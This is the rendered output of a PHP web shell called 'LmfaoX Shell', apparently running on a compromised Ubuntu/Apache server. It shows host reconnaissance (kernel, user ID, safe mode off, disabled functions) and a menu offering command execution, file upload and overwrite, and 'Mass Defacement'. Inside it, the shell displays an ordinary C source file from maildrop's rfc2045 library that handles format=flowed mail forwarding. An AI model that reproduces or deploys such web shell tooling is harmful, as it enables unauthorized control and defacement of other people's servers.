ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:24.52 GB of 70.42 GB (34.82%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ usr/ src/ maildrop-2.2.0/ rfc2045/ - drwxr-xr-x

Directory:
Viewing file:     rfc2646fwd.c (2.14 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
** Copyright 2000 Double Precision, Inc.  See COPYING for
** distribution information.
*/

#include "rfc2045_config.h"
#include    "rfc2646.h"
#include    <stdlib.h>
#include    <string.h>

static const char rcsid[]="$Id: rfc2646fwd.c,v 1.2 2003/03/07 00:47:31 mrsam Exp $";

struct rfc2646fwd *rfc2646fwd_alloc( int (*f)(const char *, size_t, void *),
                       void *a)
{
    struct rfc2646fwd *p=(struct rfc2646fwd *)
        calloc(1, sizeof(struct rfc2646fwd));

    if (!p)
        return (0);

    p->handler=f;
    p->voidarg=a;
    return (p);
}

int rfc2646fwd_free(struct rfc2646fwd *p)
{
    int rc=0;

    if (p->prev_was_0depth)
        rc= (*p->handler)("\n", 1, p->voidarg);

    free(p);
    return (rc);
}

int rfc2646fwd_handler(struct rfc2646parser *p, int isflowed, void *vp)
{
    struct rfc2646fwd *r=(struct rfc2646fwd *)vp;
    int rc;

    /* Quoted text is copied verbatim. */

    if (p->quote_depth > 0)
    {
        static const char quotes[]=">>>>>";
        int n=p->quote_depth;

        if (r->prev_was_0depth)
            rc= (*r->handler)("\n", 1, r->voidarg);
        r->prev_was_0depth=0;

        while (n)
        {
            int i=sizeof(quotes)-1;

            if (i > n)
                i=n;
            rc= (*r->handler)(quotes, i, r->voidarg);
            if (rc)
                return (rc);
            n -= i;
        }

        rc=(*r->handler)(" ", 1, r->voidarg);
        if (rc == 0 && p->linelen)
            rc=(*r->handler)(p->line, p->linelen, r->voidarg);
        if (rc == 0 && isflowed)
            rc=(*r->handler)(" ", 1, r->voidarg);
        if (rc == 0)
            rc=(*r->handler)("\n", 1, r->voidarg);
        return (rc);
    }

    if (p->linelen == 0)
    {
        /*
        ** If the previous line was flowed, insert two newlines here,
        ** else insert one.
        */

        rc=(*r->handler)("\n\n", r->prev_was_0depth ? 2:1, r->voidarg);
        r->prev_was_0depth=0;
        return (rc);
    }

    if (!r->prev_was_0depth && p->linelen == 3 &&
        strncmp(p->line, "-- ", 3) == 0 && !isflowed)
    {
        return ((*r->handler)(p->line, 3, r->voidarg));
    }

    if ((r->prev_was_0depth || p->line[0] == '>')
        && (rc=(*r->handler)(" ", 1, r->voidarg)) != 0)
        return (rc);


    rc=(*r->handler)(p->line, p->linelen, r->voidarg);
    if (rc)
        return (rc);
    if (!isflowed)
    {
        rc=(*r->handler)("\n", 1, r->voidarg);
        if (rc)
            return (rc);
        r->prev_was_0depth=0;
        return (0);
    }
    r->prev_was_0depth=1;
    return (0);
}
Command:
Quick Commands:
Upload:
[Read-Only] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [Read-Only]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.1695 seconds